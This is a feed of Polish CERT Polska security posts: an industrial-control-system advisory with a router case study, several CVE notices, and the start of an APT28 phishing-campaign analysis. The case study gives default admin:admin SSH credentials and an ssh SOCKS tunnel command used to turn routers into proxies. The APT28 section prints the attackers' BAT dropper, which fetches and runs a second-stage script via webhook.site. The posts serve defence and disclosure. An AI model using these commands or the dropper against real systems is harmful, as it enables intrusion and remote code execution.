&lt;p&gt;Obserwujemy działania licznych grup, najczęściej prorosyjskich, które wykorzystując ogólnodostępne serwisy, takie jak Shodan, Zoomeye czy Censys, wyszukują urządzenia i aplikacje związane z przemysłowymi systemami sterowania. 
&lt;strong&gt;Najczęściej ataki przeprowadzane są na dostępne z internetu&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;panele WWW systemów HMI i SCADA z brakiem uwierzytelniania lub słabym hasłem,&lt;/li&gt;
&lt;li&gt;usługi VNC z brakiem uwierzytelniania lub słabym hasłem, dające zdalny dostęp do panelu HMI czy systemu SCADA,&lt;/li&gt;
&lt;li&gt;routery z modemem komórkowym z domyślnym lub słabym hasłem albo posiadające znane podatności,&lt;/li&gt;
&lt;li&gt;protokoły przemysłowe bez uwierzytelniania, jak Modbus, BACnet czy PCOM.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Poniżej prezentujemy fragment filmu opublikowanego przez jedną z grup prorosyjskich, który pokazuje modyfikację parametrów pracy gminnej oczyszczalni ścieków, po uzyskaniu do niej dostępu przez usługę VNC ze słabym hasłem:&lt;/p&gt;
&lt;video controls muted playsinline style="display: block; padding: 0px; width: 70%"&gt;
&lt;source src="/uploads/2024/05/oczszcalnia-video.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h2&gt;Najważniejsze zalecenie&lt;/h2&gt;
&lt;p&gt;Kategorycznie odradza się eksponowanie bezpośrednio do internetu systemu umożliwiającego sterowanie procesem przemysłowym, nawet jeśli wydaje się, że jest on skonfigurowany w trybie tylko do odczytu. Oznacza to, że:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NIE NALEŻY&lt;/strong&gt; umożliwiać bezpośredniego zdalnego połączenia z wykorzystaniem protokołów jak VNC czy RDP oraz oprogramowania zdalnego wsparcia technicznego,&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NIE NALEŻY&lt;/strong&gt; umożliwiać bezpośredniego zdalnego dostępu do panelu WWW systemów sterowania i wizualizacji, nawet jeśli stosowane jest silne hasło,&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NIE NALEŻY&lt;/strong&gt; udostępniać portów, na których działają protokoły przemysłowe – w szczególności umożliwiające konfigurację urządzenia. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jeśli do odczytu lub sterowania procesem wymagany jest zdalny dostęp, należy skorzystać z VPN z wieloskładnikowym uwierzytelnianiem. Dotyczy to również małych instalacji, które najczęściej padają ofiarą ataków.&lt;/p&gt;
&lt;h2&gt;Zalecenia szczegółowe&lt;/h2&gt;
&lt;p&gt;Poniższe rekomendacje są rozbudowane i zdajemy sobie sprawę, że nie każdy podmiot będzie w stanie je wdrożyć. W pierwszej kolejności należy zatem zadbać o opisane powyżej najważniejsze zalecenia.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CERT Polska/CSIRT NASK w zakresie opisanego problemu rekomenduje:&lt;/strong&gt; &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Zmniejszenie do minimum ekspozycji sieci przemysłowej, zarówno sieci lokalnej, jak i punktów styku, poprzez identyfikację i ograniczenie do koniecznych połączeń „z" i „ do" tej sieci.&lt;/li&gt;
&lt;li&gt;Przeprowadzenie przeglądu zdalnego dostępu i ograniczenie go do niezbędnego minimum, w szczególności należy zwrócić uwagę na modemy komórkowe i metody zdalnego dostępu podwykonawców.&lt;/li&gt;
&lt;li&gt;W przypadku gdy zdalny dostęp jest potrzebny, powinien być zawsze realizowany za pomocą VPN z wieloskładnikowym uwierzytelnianiem.&lt;/li&gt;
&lt;li&gt;Tam, gdzie to możliwe, ograniczenie dostępu do VPN dla określonych adresów IP lub ich zakresów. Przykładowo: gdy podmiot nie ma współpracowników ani podwykonawców zagranicznych, rekomenduje się ograniczenie możliwości nawiązania sesji VPN tylko dla polskich adresów IP.&lt;/li&gt;
&lt;li&gt;W przypadku gdy niezbędny jest zdalny przesył danych telemetrycznych za pomocą sieci komórkowej, rekomenduje się wykorzystanie prywatnych APN-ów.&lt;/li&gt;
&lt;li&gt;Zmianę domyślnych danych uwierzytelniających z zastosowaniem &lt;a href="https://cert.pl/hasla/"&gt;dobrych praktyk związanych z silnymi hasłami&lt;/a&gt; (o ile urządzenie takie hasła wspiera) na wszystkich urządzeniach, w szczególności tych posiadających interfejs webowy, oraz wyłączenie niewykorzystywanych kont.&lt;/li&gt;
&lt;li&gt;W miarę możliwości, gdy nie ma przeciwwskazań, aktualizowanie wykorzystywanych systemów, w szczególności podczas planowych postojów.&lt;/li&gt;
&lt;li&gt;Stosowanie segmentacji sieci – minimalnie na styku sieci przemysłowej z innymi sieciami, a preferencyjnie, zależnie od rozmiaru i złożoności sieci, również wewnątrz.&lt;/li&gt;
&lt;li&gt;Przeprowadzenie analizy widoczności urządzeń poprzez zewnętrzne skanowanie zakresu adresacji należącej do obiektu czy wykorzystanie narzędzi typu &lt;a href="https://www.shodan.io/"&gt;Shodan&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Tam, gdzie to możliwe zdalny dostęp powinien być realizowany na żądanie. Każde prowadzenie zdalnych czynności na systemie powinno zostać odnotowane w sposób pozwalający jednoznacznie zidentyfikować czas, cel i źródło prowadzonych prac.&lt;/li&gt;
&lt;li&gt;Wykrywanie anomalii w ruchu sieciowym, w szczególności odbiegających od połączeń realizowanych podczas normalnego trybu pracy instalacji.&lt;/li&gt;
&lt;li&gt;Utwardzenie konfiguracji wykorzystywanych urządzeń i oprogramowania przez wyłączenie niewykorzystywanych funkcji i konfigurację wbudowanych dodatkowych mechanizmów bezpieczeństwa. Często domyślnie są one nieaktywne.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://incydent.cert.pl/osoba-kontaktowa#!/lang=pl"&gt;Zgłoszenie osoby kontaktowej do CSIRT NASK&lt;/a&gt;, aby usprawnić ścieżkę reakcji w przypadku wykrycia tego typu incydentu.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cert.pl/n6/"&gt;Zarejestrowanie się w systemie n6&lt;/a&gt; przez podanie swojej adresacji IP i domeny, co pozwoli na wysyłanie przez CERT Polska powiadomień w przypadku wykrycia nieprawidłowości.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Case Study&lt;/h2&gt;
&lt;p&gt;Na początku roku CSIRT NASK otrzymał od CSIRT MON informację o atakach brute force na usługę SMTP jednego z podmiotów. Atak prowadzono z dwóch adresów IP. Alarmujące było to, że na obu adresach widoczne były usługi związane z systemami przemysłowymi – na jednym był to port 502 (protokół Modbus), a na drugim port 102 (protokół S7) oraz panel WWW sterownika Siemens S7-1200. Po dokładniejszej analizie uznano, że cechą wspólną, nietypową dla tego typu urządzeń, jest port 22 (SSH). Dodatkowo na jednym z adresów na porcie 80 był dostępny panel WWW komórkowego routera przemysłowego &lt;a href="https://www.elmark.com.pl/sklep/elmatic/sparrow-nw10-router-lte"&gt;Elmatic Sparrow&lt;/a&gt;. Z dużym prawdopodobieństwem stwierdziliśmy, że zaobserwowane wcześniej protokoły przemysłowe zostały udostępnione właśnie za pomocą tego routera komórkowego.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2024/05/elmatic-sparrow-login-page.png"&gt;&lt;/p&gt;
&lt;p&gt;Nadal nie było jednak jasne, jak atakujący mógł przeprowadzić atak brute force, wychodząc z danego adresu IP. W tym celu musiałby albo przejąć router i wykonywać to bezpośrednio z niego, albo prowadzić atak z zainfekowanego urządzenia wewnątrz sieci. W danym momencie bardziej prawdopodobna wydawała się druga możliwość.&lt;/p&gt;
&lt;p&gt;Udało się nam nawiązać kontakt z jednym z dotkniętych podmiotów i poprosić go o analizę ruchu wewnątrz sieci. Okazało się, że żaden podejrzany ruch nie był widoczny, mimo że ataki nadal trwały. W takiej sytuacji, o ile ruch został poprawnie zebrany, ataki musiały wychodzić bezpośrednio z routera komórkowego, co prawdopodobnie powodowało, że były one niewidoczne dla systemów monitorujących sieć wewnętrzną.&lt;/p&gt;
&lt;p&gt;Przeszukując dostępne źródła, nie natrafiliśmy na żadne znane podatności dotyczące routera Elmatic Sparrow ani NavigateWorx (który technicznie jest tym samym urządzeniem). Poprosiliśmy dotknięty podmiot o pozwolenie na zalogowanie się na urządzenie, ale podmiot nie miał informacji o danych logowania – urządzenie zostało zainstalowane przez firmę trzecią. Bardzo niepokojące było to, że &lt;strong&gt;domyślne ustawienia: login i hasło (admin:admin) zadziałały&lt;/strong&gt;. Jednak w interfejsie webowym nie było bezpośrednio możliwości przeprowadzenia omawianego ataku (o ile nie została użyta podatność w tym interfejsie).&lt;/p&gt;
&lt;p&gt;Router poprzez interfejs webowy posiada wbudowane narzędzie pozwalające nagrać ruch sieciowy na interfejsie WAN. Wykorzystaliśmy je i udało się potwierdzić wychodzące ataki brute force na znaczną liczbę podmiotów:&lt;/p&gt;
&lt;div class="grid-x align-center"&gt;&lt;img class="cell small-12 medium-11 large-9" src="/uploads/2024/05/smtp-bruteforce-traffic.png"/&gt;&lt;/div&gt;

&lt;p&gt;Podejrzewaliśmy wykorzystanie nieznanej podatności, więc skontaktowaliśmy się z firmą Elmark Automatyka będącą jedynym dystrybutorem  urządzenia Elmatic Sparrow w Polsce. Reakcja firmy była pozytywna i otrzymaliśmy egzemplarz urządzenia do testów.&lt;/p&gt;
&lt;div class="grid-x align-center"&gt;&lt;img class="cell small-12 medium-11 large-9 custom-small-img" src="/uploads/2024/05/elmatic-sparrow-photo.jpg"/&gt;&lt;/div&gt;

&lt;p&gt;Po uruchomieniu routera i sprawdzeniu otwartych portów zauważyliśmy, że poza panelem WWW dostępna jest również usługa SSH na porcie 22. Port ten widzieliśmy też wcześniej, otwarty na urządzeniach, z których był prowadzony atak. Okazało się, że w domyślnej konfiguracji możliwe jest zalogowanie do usługi SSH również z użyciem poświadczeń &lt;code&gt;admin:admin&lt;/code&gt;, a co więcej, jest ona domyślnie włączona na interfejsie WAN:&lt;/p&gt;
&lt;div class="grid-x align-center"&gt;&lt;img class="cell small-12 medium-9 large-7" src="/uploads/2024/05/ssh-enabled-wan.png"/&gt;&lt;/div&gt;

&lt;p&gt;Byliśmy pewni, że w ten sposób uzyskamy dostęp do powłoki systemu, gdzie znajdziemy skrypt prowadzący atak. Jednak po zalogowaniu okazało się, że router udostępnia jedynie bardzo ograniczoną &lt;a href="https://clish.sourceforge.net/"&gt;powłokę CLISH&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2024/05/elmatic-sparrow-clish.png"&gt;&lt;/p&gt;
&lt;p&gt;Podczas prowadzonych testów nie udało się nam z eskalować z ograniczonej powłoki i nie znaleźliśmy sposobu na uruchomienie dodatkowych poleceń pozwalających wykonać atak z konta admin. Nie znaleźliśmy również (w czasie krótkich testów) żadnej podatności pozwalającej uzyskać zdalny dostęp do powłoki systemu.&lt;/p&gt;
&lt;p&gt;Potwierdziliśmy natomiast, że na obu dotkniętych adresach IP działało hasło admin:admin do SSH (a na jednym z adresów nie było dostępnego panelu WWW). W związku z tym nasza uwaga jeszcze mocniej skoncentrowała się na tej usłudze. Niestety nie mogliśmy dostać fizycznie urządzeń, które były zaatakowane, aby poddać je dokładniejszej analizie.&lt;/p&gt;
&lt;p&gt;Kolejną hipotezą, którą rozważyliśmy było wykorzystanie usługi SSH, posiadającej domyślne poświadczenia, do stworzenia tunelu, który pozwoliłby skorzystać z routera jako proxy do prowadzenia ataków.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2024/05/ssh-tunnel.png"&gt;&lt;/p&gt;
&lt;p&gt;Przetestowaliśmy, czy taki sposób wykorzystania zadziała na naszym egzemplarzu urządzenia:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh -p &lt;span class="m"&gt;22&lt;/span&gt; -o &lt;span class="nv"&gt;HostKeyAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa -o &lt;span class="nv"&gt;PubkeyAcceptedKeyTypes&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa -N -D &lt;span class="m"&gt;127&lt;/span&gt;.0.0.1:1080 admin@x.x.x.183
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Powyższa komenda powinna otworzyć lokalnie port 1080, z którego cały ruch przychodzący będzie tunelowany przez urządzenie. Potwierdziliśmy, że faktycznie jesteśmy w stanie uzyskać adres IP urządzenia, odwołując się do zasobu w internecie:
&lt;img alt="" src="/uploads/2024/05/ssh-tunnel-terminal.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Po przedstawieniu tych informacji dotkniętym podmiotom i we współpracy z nimi udało się potwierdzić, że istotnie był to użyty wektor ataku.&lt;/p&gt;
&lt;p&gt;W tym przypadku tunel został użyty do przeprowadzenia ataków brute force na inne usługi w internecie, ale tego typu atak mógł posłużyć również do uzyskania dostępu do wewnętrznej sieci LAN atakowanego podmiotu, co byłoby znacznie groźniejsze. W konsekwencji możliwe byłoby uzyskanie poprzez tunel bezpośredniego połączenia z urządzeniami przemysłowymi wewnątrz sieci. Co więcej, nawet jeśli podmiot korzystałby z VPN skonfigurowanego na urządzeniu dla dostępu do sieci LAN, to pozostawienie na urządzeniu usługi SSH ze słabym hasłem pozwoliłoby atakującemu ominąć VPN.&lt;/p&gt;
&lt;p&gt;Razem z firmą Elmark Automatyka podjęliśmy działania, aby znaleźć właścicieli wszystkich routerów Elmatic Sparrow oraz NavigateWorx, widocznych w internecie, i powiadomić ich o konieczności zmiany domyślnego hasła i wyłączenia nadmiarowych usług. Dodatkowo firma Elmark Automatyka przygotowała na swojej stronie internetowej, a także rozesłała do klientów &lt;a href="https://www.elmark.com.pl/blog/sparrow-nw10nw20-zadbaj-o-cyberbezpieczestwo"&gt;poradnik, jak bezpiecznie skonfigurować urządzenie&lt;/a&gt; oraz ma w planach dołączenie wydrukowanej ulotki na ten temat do pudełka z urządzeniem. Mamy również nadzieję, że w kolejnych wydaniach firmware domyślne ustawienia zostaną zmienione na bezpieczniejsze.&lt;/p&gt;
&lt;p&gt;Przedstawiony przypadek pokazuje, jak ważne są: zmiana domyślnych poświadczeń, utwardzanie konfiguracji urządzenia przez ograniczanie dostępnych usług oraz monitorowanie sieci – na wypadek gdyby atakujący użyli urządzenia do ataku na sieć lokalną.&lt;/p&gt;
&lt;p&gt;Dziękujemy firmie Elmark Automatyka za wzorową współpracę i zachęcamy innych dostawców w Polsce do tworzenia w języku polskim instrukcji bezpiecznej konfiguracji dla urządzeń przemysłowych.&lt;/p&gt;
&lt;style&gt;

.custom-small-img {
    width: 100%;
    max-width: 350px; 
    height: auto; 
}

&lt;/style&gt;</content><category term="News"></category><category term="rekomendacje"></category><category term="ICS"></category><category term="OT"></category><category term="SCADA"></category><category term="BezpiecznyPrzemysł"></category></entry><entry><title>Podatność w oprogramowaniu Online Shopping System Advanced</title><link href="https://cert.pl/posts/2024/05/CVE-2024-3579/" rel="alternate"></link><published>2024-05-14T12:00:00+01:00</published><updated>2024-05-14T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-05-14:/posts/2024/05/CVE-2024-3579/</id><summary type="html">W oprogramowaniu Online Shopping System Advanced wykryto podatność typu Reflected XSS (CVE-2024-3579).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł w otwartoźródłowym projekcie &lt;a href="https://github.com/PuneethReddyHC/online-shopping-system-advanced"&gt;Online Shopping System Advanced&lt;/a&gt; podatność typu Reflected Cross-Site Scripting (XSS). Atakujący może nakłonić użytkownika do użycia spreparowanego linku w celu wykonania skryptu w przeglądarce tego użytkownika. Podatności nadano identyfikator  &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3579"&gt;CVE-2024-3579&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Autor projektu nie odpowiadał na nasze wiadomości. Choć testowana była jedynie najnowsza wersja oprogramowania, należy jednak przyjąć, że wszystkie są podatne.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Ant Media Server</title><link href="https://cert.pl/posts/2024/05/CVE-2024-3462/" rel="alternate"></link><published>2024-05-13T13:00:00+01:00</published><updated>2024-05-13T13:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-05-13:/posts/2024/05/CVE-2024-3462/</id><summary type="html">W oprogramowaniu Ant Media Server (Community Edition) wykryto podatność typu Incorrect Authorization (CVE-2024-3462).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Ant Media Server Community Edition i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Poprzez manipulowanie nagłówkami w rządaniach HTTP nieautoryzowany użytkownik może wykorzystać podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3462"&gt;CVE-2024-3462&lt;/a&gt; i uzyskać dostęp do wszystkich (z wyłączeniem administracyjnych) funkcjonalności API programu Ant Media Server Community Edition.&lt;/p&gt;
&lt;p&gt;Przetestowane zostały wersje 2.7.0 - 2.9.0. Ponieważ firma Ant Media nie potwierdziła wydania aktualizacji bezpieczenśtwa, istnieje ryzyko, że nowsze wersje również będą podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Maksymowi Brzęczkowi (efigo.pl).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu CemiPark</title><link href="https://cert.pl/posts/2024/05/CVE-2024-4423/" rel="alternate"></link><published>2024-05-09T12:00:00+01:00</published><updated>2024-05-09T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-05-09:/posts/2024/05/CVE-2024-4423/</id><summary type="html">W oprogramowaniu CemiPark wykryto 3 podatności różnego typu (od CVE-2024-4423 do CVE-2024-4425).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu CemiPark i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-4423"&gt;CVE-2024-4423&lt;/a&gt; umożliwia umożliwia pominięcie procesu uwierzytelnienia z uwagi na nieodpowiednią walidację danych wprowadzonych przez użytkownika.
Atakujący, który posiada dostęp sieciowy do panelu logowania, może zalogować się z uprawnieniami administratora aplikacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-4424"&gt;CVE-2024-4424&lt;/a&gt; polega na nieodpowiedniej walidacji danych wprowadzonych przez użytkownika, co umożliwia atak typu Stored Cross-Site Scripting. 
Atakujący posiadający uprawnienia administratora, może utworzyć stronę z kodem, który wykona się w momencie otworzenia strony przez innego administratora.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-4425"&gt;CVE-2024-4425&lt;/a&gt; polega na przechowywaniu poświadczeń do zewnętrznych usług (np. FTP, SIP) czystym tekstem. Atakujący, który uzyskał nieautoryzowany dostęp do urządzenia może je odczytać.&lt;/p&gt;
&lt;p&gt;Powyższe podatności dotyczą oprogramowania CemiPark w wersjach 4.5, 4.7, 5.03 (które były testowane przez znalazcę) i potencjalnie innych. 
Producent odmówił podania dokładnego zakresu wersji podatnego oprogramowania.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Dariuszowi Gońda.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Kioware for Windows</title><link href="https://cert.pl/posts/2024/05/CVE-2024-3459/" rel="alternate"></link><published>2024-05-09T12:00:00+02:00</published><updated>2024-05-09T12:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-05-09:/posts/2024/05/CVE-2024-3459/</id><summary type="html">W oprogramowaniu Kioware for Windows wykryto 3 podatności różnego typu (CVE-2024-3459, CVE-2024-3460 oraz CVE-2024-3461).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Kioware for Windows i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3459"&gt;CVE-2024-3459&lt;/a&gt; umożliwia opuszczenie chronionego środowiska i uruchomienie dowolnej aplikacji z uprawnieniami użytkownika. W tym celu należy pobrać dowolny plik PDF korzystając z Kioware i go otworzyć. Domyślnie nastąpi to z wykorzystaniem zewnętrznej aplikacji, której interfejs może pozwalać na otworzenie przeglądarki internetowej, a co za tym idzie, na przeglądanie lokalnych plików oraz uruchamianie innych programów.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3460"&gt;CVE-2024-3460&lt;/a&gt; pozwala wyłączyć oprogramowanie Kioware i korzystać z dowolnych programów zanim nastąpi automatyczne wylogowanie użytkownika. 
Aby wykorzystać tę podatność, podczas uruchamiania Kioware musi być uruchomiona inna aplikacja umożliwiająca przeglądanie plików na komputerze. Oprócz tego atakujący musi znać numer PIN zabezpieczający aplikację przed zamknięciem oraz spowolnić jej działanie tworząc wymagane okno czasowe. &lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3461"&gt;CVE-2024-3461&lt;/a&gt; polega na braku istnienia zabezpieczeń chroniących aplikację przed siłowym zgadywaniem kodu PIN.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Maksymilianowi Kubiakowi z zespołu Afine.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Kampania APT28 skierowana przeciwko polskim instytucjom rządowym</title><link href="https://cert.pl/posts/2024/05/apt28-kampania/" rel="alternate"></link><published>2024-05-08T13:00:00+02:00</published><updated>2024-05-08T13:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-05-08:/posts/2024/05/apt28-kampania/</id><summary type="html">CERT Polska obserwuje złośliwą kampanię e-mail prowadzoną przez grupę APT28 przeciwko polskim instytucjom rządowym.</summary><content type="html">&lt;p&gt;Zespoły CERT Polska (CSIRT NASK) oraz CSIRT MON zaobserwowały w tym tygodniu szeroko zakrojoną kampanię szkodliwego oprogramowania wymierzoną w polskie instytucje rządowe. Na podstawie wskaźników technicznych i podobieństwa do &lt;a href="https://cert.gov.ua/article/5702579"&gt;ataków opisywanych w przeszłości&lt;/a&gt; (m.in. na podmioty ukraińskie) można powiązać kampanię ze zbiorem aktywności APT28, który jest kojarzony z Głównym Zarządem Wywiadowczym Sztabu Generalnego Sił Zbrojnych Federacji Rosyjskiej (GRU).&lt;/p&gt;
&lt;h2&gt;Analiza techniczna&lt;/h2&gt;
&lt;p&gt;W kampanii zostały rozesłane wiadomości e-mail o treści, która ma wywołać zainteresowanie u odbiorcy i nakłonić go do kliknięcia w link. Przykład użytej wiadomości przedstawiamy poniżej:
&lt;img alt="" src="/uploads/2024/05/apt28-email.png"&gt;&lt;/p&gt;
&lt;p&gt;Link kieruje do adresu w domenie &lt;code&gt;run.mocky.io&lt;/code&gt;. Jest to darmowy serwis używany przez programistów do tworzenia i testowania interfejsów API. W tym przypadku został on wykorzystany jedynie do przekierowania na kolejny serwis –  &lt;code&gt;webhook.site&lt;/code&gt;, pozwalający na logowanie wszelkich zapytań do wygenerowanego adresu oraz konfigurowanie odpowiedzi na nie. Serwis ten również jest popularny wśród  osób związanych z IT. Wykorzystanie darmowych, powszechnie używanych usług, zamiast własnych domen, pozwala na znaczne ograniczenie wykrycia linków jako złośliwe, a jednocześnie obniża koszt prowadzonej operacji. Jest to trend, który obserwujemy u wielu grup APT.&lt;/p&gt;
&lt;p&gt;Z serwisu &lt;code&gt;webhook.site&lt;/code&gt; zostaje ostatecznie pobrane archiwum ZIP, którego nazwa sugeruje zawartość w postaci zdjęć. Zaczyna się ona od &lt;code&gt;IMG-&lt;/code&gt;, a kończy losową liczbą - np. &lt;code&gt;IMG-238279780.zip&lt;/code&gt;. Po kliknięciu w archiwum, przy domyślnych ustawieniach systemu Windows (ukryte rozszerzenia i brak pokazywania ukrytych plików), ofierze ukazuje się następujący widok:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2024/05/apt28-explorer.png"&gt;&lt;/p&gt;
&lt;p&gt;Tak naprawdę archiwum zawiera trzy pliki: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;kalkulator windowsowy ze zmienioną nazwą, np. &lt;code&gt;IMG-238279780.jpg.exe&lt;/code&gt;, który udaje zdjęcie i zachęca ofiarę do kliknięcia,&lt;/li&gt;
&lt;li&gt;skrypt &lt;code&gt;.bat&lt;/code&gt; (plik ukryty),&lt;/li&gt;
&lt;li&gt;fałszywą bibliotekę &lt;code&gt;WindowsCodecs.dll&lt;/code&gt; (plik ukryty).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jeśli ofiara uruchomi plik &lt;code&gt;IMG-238279780.jpg.exe&lt;/code&gt;  (będący nieszkodliwym kalkulatorem), podczas startu spróbuje on załadować bibliotekę &lt;code&gt;WindowsCodecs.dll&lt;/code&gt;, która została podstawiona przez atakujących. Jest to technika znana jako &lt;em&gt;DLL Side-Loading&lt;/em&gt;. Jedyną rolą biblioteki DLL jest uruchomenie dołączonego skryptu BAT:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="k"&gt;echo&lt;/span&gt; off
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;not&lt;/span&gt; &lt;span class="k"&gt;DEFINED&lt;/span&gt; &lt;span class="nv"&gt;IS_MINIMIZED&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="nv"&gt;IS_MINIMIZED&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;1
    &lt;span class="k"&gt;start&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt; /min &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%~dpnx0&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="nv"&gt;%*&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;start&lt;/span&gt; msedge data:text/html;base64,PHRpdGxlPklNRy02MzQ5MjMzNjk2OC5qcGc8L3RpdGxlPjxpZnJhbWUgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9hYWU0MmFlNC1mM2VhLTRkYmYtYTMzZi0zZmY1YjFiYWVjOWIiIHN0eWxlPSJwb3NpdGlvbjpmaXhlZDsgdG9wOjA7IGxlZnQ6MDsgYm90dG9tOjA7IHJpZ2h0OjA7IHdpZHRoOjEwMCU7IGhlaWdodDoxMDAlOyBib3JkZXI6bm9uZTsgbWFyZ2luOjA7IHBhZGRpbmc6MDsgb3ZlcmZsb3c6aGlkZGVuOyB6LWluZGV4Ojk5OTk5OTsiPjwvaWZyYW1lPg==
timeout 15 &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; nul
&lt;span class="k"&gt;move&lt;/span&gt; &lt;span class="nv"&gt;%userprofile%&lt;/span&gt;\downloads\IMG-63492336968.jpg &lt;span class="nv"&gt;%programdata%&lt;/span&gt;\IMG-63492336968.cmd &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; nul
&lt;span class="k"&gt;type&lt;/span&gt; nul &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;%userprofile%&lt;/span&gt;\downloads\IMG-63492336968.jpg
&lt;span class="k"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;%programdata%&lt;/span&gt;\IMG-63492336968.cmd
&lt;span class="k"&gt;del&lt;/span&gt; /q /f /a &lt;span class="nv"&gt;%0&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Skrypt BAT otwiera przeglądarkę Microsoft Edge, w której ładowana jest zawartość strony zakodowana w base64, aby pobrać kolejny skrypt batchowy (również korzystając z serwisu &lt;code&gt;webhook.site&lt;/code&gt;). Jednocześnie w przeglądarce wyświetlane są zdjęcia rzeczywistej kobiety w stroju kąpielowym wraz z odnośnikami do jej prawdziwych kont na platformach social media. Ma to na celu uwiarygodnić narrację atakujących oraz uśpić czujność odbiorcy. Skrypt zapisuje pobrany plik z rozszerzeniem .jpg na dysku, zmienia rozszerzenie z .jpg na .cmd oraz ostatecznie go wykonuje.&lt;/p&gt;
